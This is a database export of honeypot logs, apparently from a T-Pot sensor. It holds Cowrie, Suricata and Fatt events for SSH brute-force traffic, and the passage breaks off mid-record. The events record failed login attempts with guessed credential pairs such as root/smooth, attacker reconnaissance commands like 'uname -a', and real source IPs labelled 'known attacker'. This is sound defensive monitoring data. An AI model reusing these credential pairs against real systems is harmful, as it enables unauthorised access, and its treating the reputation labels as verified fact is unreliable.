32334	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:50:43.101932+03	2021-09-20 15:00:03.348717+03	{"_id": "rQYLA3wBvYTbRNuESkk8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "034ffeca719e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:43.101932Z", "@timestamp": "2021-09-20T11:50:43.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32335	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:50:43.379349+03	2021-09-20 15:00:03.349717+03	{"_id": "rwYLA3wBvYTbRNuES0m8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 467846317638628, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48876, "dest_port": 22, "timestamp": "2021-09-20T11:50:43.379349Z", "@timestamp": "2021-09-20T11:50:43.379Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32363	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:04.941789+03	2021-09-20 15:00:03.386717+03	{"_id": "8QYLA3wBvYTbRNuEoEk3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:43612 (192.168.176.2:22) [session: 168e4f4c79b6]", "session": "168e4f4c79b6", "@version": "1", "protocol": "ssh", "src_port": 43612, "dest_port": 22, "timestamp": "2021-09-20T11:51:04.941789Z", "@timestamp": "2021-09-20T11:51:04.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32336	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:50:44.213213+03	2021-09-20 15:00:03.352717+03	{"_id": "sAYLA3wBvYTbRNuES0m8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:49:58.431149+0000", "pkts_toclient": 14, "pkts_toserver": 16, "bytes_toclient": 2651, "bytes_toserver": 3124}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1954325905970221, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 65274, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:44.213213Z", "@timestamp": "2021-09-20T11:50:44.213Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32337	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:50:44.591262+03	2021-09-20 15:00:03.353718+03	{"_id": "swYLA3wBvYTbRNuETkkl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [like/123456] failed", "session": "034ffeca719e", "@version": "1", "password": "123456", "username": "like", "timestamp": "2021-09-20T11:50:44.591262Z", "@timestamp": "2021-09-20T11:50:44.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32338	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:50:45.874341+03	2021-09-20 15:00:03.354717+03	{"_id": "tAYLA3wBvYTbRNuEUkkN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "034ffeca719e", "@version": "1", "duration": 2.772639513015747, "timestamp": "2021-09-20T11:50:45.874341Z", "@timestamp": "2021-09-20T11:50:45.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32339	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:50:46.186757+03	2021-09-20 15:00:03.355717+03	{"_id": "tQYLA3wBvYTbRNuEU0mN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 298272419129646, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53678, "dest_port": 22, "timestamp": "2021-09-20T11:50:46.186757Z", "@timestamp": "2021-09-20T11:50:46.186Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32340	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:46.151607+03	2021-09-20 15:00:03.357716+03	{"_id": "tgYLA3wBvYTbRNuEVEmT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53678, "timestamp": "2021-09-20T11:50:46.151607", "@timestamp": "2021-09-20T11:50:46.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32341	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:50:46.146498+03	2021-09-20 15:00:03.358717+03	{"_id": "vQYLA3wBvYTbRNuEVUn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:53678 (192.168.176.2:22) [session: 1db3bb7c81fe]", "session": "1db3bb7c81fe", "@version": "1", "protocol": "ssh", "src_port": 53678, "dest_port": 22, "timestamp": "2021-09-20T11:50:46.146498Z", "@timestamp": "2021-09-20T11:50:46.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32342	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:50:48.119994+03	2021-09-20 15:00:03.359716+03	{"_id": "xAYLA3wBvYTbRNuEW0le", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:48.119994+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1867037141423290, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40008, "timestamp": "2021-09-20T11:50:48.119994Z", "@timestamp": "2021-09-20T11:50:48.119Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32343	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:50:46.187531+03	2021-09-20 15:00:03.360716+03	{"_id": "vwYLA3wBvYTbRNuEVUn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1db3bb7c81fe", "@version": "1", "timestamp": "2021-09-20T11:50:46.187531Z", "@timestamp": "2021-09-20T11:50:46.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32344	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:50:46.43009+03	2021-09-20 15:00:03.362716+03	{"_id": "wAYLA3wBvYTbRNuEVUn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [root/smooth] failed", "session": "1db3bb7c81fe", "@version": "1", "password": "smooth", "username": "root", "timestamp": "2021-09-20T11:50:46.430090Z", "@timestamp": "2021-09-20T11:50:46.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32345	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:50:47.471023+03	2021-09-20 15:00:03.363716+03	{"_id": "wwYLA3wBvYTbRNuEWUnh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1db3bb7c81fe", "@version": "1", "duration": 1.3217570781707764, "timestamp": "2021-09-20T11:50:47.471023Z", "@timestamp": "2021-09-20T11:50:47.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32384	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:34.816671+03	2021-09-20 15:00:03.414716+03	{"_id": "dAYMA3wBvYTbRNuEEUqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 29 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 29.872204780578613, "timestamp": "2021-09-20T11:51:34.816671Z", "@timestamp": "2021-09-20T11:51:34.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32346	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:50:48.000299+03	2021-09-20 15:00:03.364716+03	{"_id": "xQYLA3wBvYTbRNuEW0le", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:46.276690+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 728954555742418, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 57453, "timestamp": "2021-09-20T11:50:48.000299Z", "@timestamp": "2021-09-20T11:50:48.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32347	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:38.340048+03	2021-09-20 15:00:03.366716+03	{"_id": "jAYLA3wBvYTbRNuENkmw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:38.340048Z", "@timestamp": "2021-09-20T11:50:38.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32348	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:38.340609+03	2021-09-20 15:00:03.367716+03	{"_id": "jQYLA3wBvYTbRNuENkmw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:38.340609Z", "@timestamp": "2021-09-20T11:50:38.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32349	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:38.625993+03	2021-09-20 15:00:03.368716+03	{"_id": "jgYLA3wBvYTbRNuENkmw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "107.173.209.238", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.2860229015350342, "duplicate": true, "timestamp": "2021-09-20T11:50:38.625993Z", "@timestamp": "2021-09-20T11:50:38.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32350	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:39.393807+03	2021-09-20 15:00:03.370716+03	{"_id": "kwYLA3wBvYTbRNuEOkmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:39.393807Z", "@timestamp": "2021-09-20T11:50:39.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32351	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:49.856209+03	2021-09-20 15:00:03.371716+03	{"_id": "xgYLA3wBvYTbRNuEY0kv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 702}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:49.856209Z", "@timestamp": "2021-09-20T11:50:49.856Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32352	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:51:05.228343+03	2021-09-20 15:00:03.372716+03	{"_id": "6wYLA3wBvYTbRNuEnUnO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 1617132322817211, "@version": "1", 